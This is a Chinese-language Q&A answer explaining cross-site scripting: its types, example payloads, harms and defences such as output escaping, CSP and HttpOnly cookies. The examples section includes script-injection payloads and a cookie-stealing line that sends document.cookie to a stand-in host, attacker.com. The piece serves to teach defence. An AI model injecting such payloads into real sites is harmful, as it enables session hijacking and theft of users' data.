xss攻击详解

xss攻击详解
最新回答
枕花眠

2020-08-27 22:42:14

XSS攻击全称为跨站脚本攻击(Cross-Site Scripting),是一种通过在网页中注入恶意脚本实现攻击的Web安全漏洞,在OWASP十大安全漏洞列表中位列A7,其核心原理是利用应用程序对用户输入的未验证或未转义数据直接渲染到页面,导致浏览器执行恶意代码。

一、攻击原理

XSS攻击的本质是输入验证缺失输出未转义的双重漏洞:

  • 输入阶段:攻击者通过表单提交、URL参数、HTTP头(如Cookie、Referer)等方式向目标网站注入恶意脚本。
  • 输出阶段:网站未对用户输入进行过滤或转义,直接将其嵌入HTML、JavaScript或CSS中,导致浏览器解析时执行恶意代码。

关键点

  • 恶意脚本以用户身份在浏览器中运行,可访问当前页面的DOM、Cookie、Session等敏感信息。
  • 攻击无需直接入侵服务器,仅需诱导用户访问含恶意代码的页面即可触发。
二、攻击方式分类

根据恶意脚本的存储位置,XSS攻击分为以下三类:

1. 存储型XSS(Stored XSS)
  • 特点:恶意脚本永久存储在目标服务器数据库中,所有访问该页面的用户均会受害。
  • 典型场景

    论坛、评论区等用户输入内容被保存并显示的场景。

    攻击者提交含<script>alert(document.cookie)</script>的评论,其他用户浏览时脚本执行。

  • 危害:大规模用户信息泄露、会话劫持、传播恶意软件。
2. 反射型XSS(Reflected XSS)
  • 特点:恶意脚本通过URL参数或表单提交临时注入,仅对当前请求生效。
  • 典型场景

    搜索页面未过滤用户输入,直接拼接URL参数到HTML中。

    攻击者构造链接

    http://example.com/search?q=<script>alert
    (1)</script>,诱导用户点击后脚本执行。

  • 危害:钓鱼攻击、信息窃取(需用户主动触发)。
3. DOM型XSS(Document Object Model XSS)
  • 特点:恶意脚本通过修改页面DOM结构执行,不依赖服务器响应内容。
  • 典型场景

    使用innerHTML、document.write()等API动态更新页面时未过滤输入。

    攻击者通过URL参数修改DOM属性,如

    http://example.com/?param=<img
    src=x onerror=alert(1)>。

  • 危害:隐蔽性强,传统防护手段(如输入过滤)可能失效。
三、攻击代码示例与解析

以反射型XSS为例,攻击流程如下:

  1. 构造恶意链接
    http://example.com/page?data=<script>alert
    (document.cookie)</script>
  2. 服务器未过滤输入,直接将data参数嵌入HTML:<html><body> <p>Result: <script>alert(document.cookie)</script></p></body></html>
  3. 用户访问链接时,浏览器执行脚本,弹出当前页面的Cookie信息。

变种攻击

  • 窃取Cookie:将脚本修改为<script>fetch('
    https://attacker.com/steal?cookie='+document.cookie
    )</script>,将用户Cookie发送至攻击者服务器。
  • 重定向:<script>window.location.href='
    https://malicious-site.com'</script>
    ,诱导用户访问钓鱼网站。
  • 键盘记录:通过addEventListener监听用户输入,窃取密码等敏感信息。
四、XSS攻击的危害
  1. 会话劫持:窃取用户Cookie后,攻击者可伪装成用户登录网站,执行未授权操作。
  2. 数据篡改:修改页面内容(如伪造银行转账页面),诱导用户输入敏感信息。
  3. 恶意软件传播:通过脚本自动下载并执行木马程序,控制用户设备。
  4. DDoS攻击:利用受害者浏览器向目标网站发起大量请求,造成服务瘫痪。
  5. 声誉损害:攻击者可在网站插入非法内容(如赌博、色情广告),导致法律风险。
五、防御措施
  1. 输入验证

    对用户输入进行严格过滤,禁止特殊字符(如<, >, &)或限制输入长度。

    使用白名单机制,仅允许特定格式(如纯文本、数字)。

  2. 输出转义

    将<, >, &等字符转换为HTML实体(如&lt;, &gt;),防止浏览器解析为标签。

    使用安全的模板引擎(如React的dangerouslySetInnerHTML需谨慎使用)。

  3. HTTP安全头

    设置Content-Security-Policy (CSP),限制脚本加载来源(如仅允许同域或可信CDN)。

    启用X-XSS-Protection(虽已废弃,但部分旧浏览器仍支持)。

  4. Cookie安全

    为Cookie添加HttpOnly标志,禁止JavaScript访问,防止会话劫持。

    使用Secure标志确保Cookie仅通过HTTPS传输。

  5. DOM操作安全

    避免使用innerHTML、document.write()等高危API,优先使用textContent或DOM API。

    对动态生成的URL参数进行编码(如encodeURIComponent())。

六、总结

XSS攻击通过利用Web应用的输入输出漏洞,实现恶意脚本执行,其危害范围广且难以彻底根除。防御需结合输入验证、输出转义、安全头配置等多层措施,同时开发者需遵循安全编码规范,定期进行安全审计,以降低风险。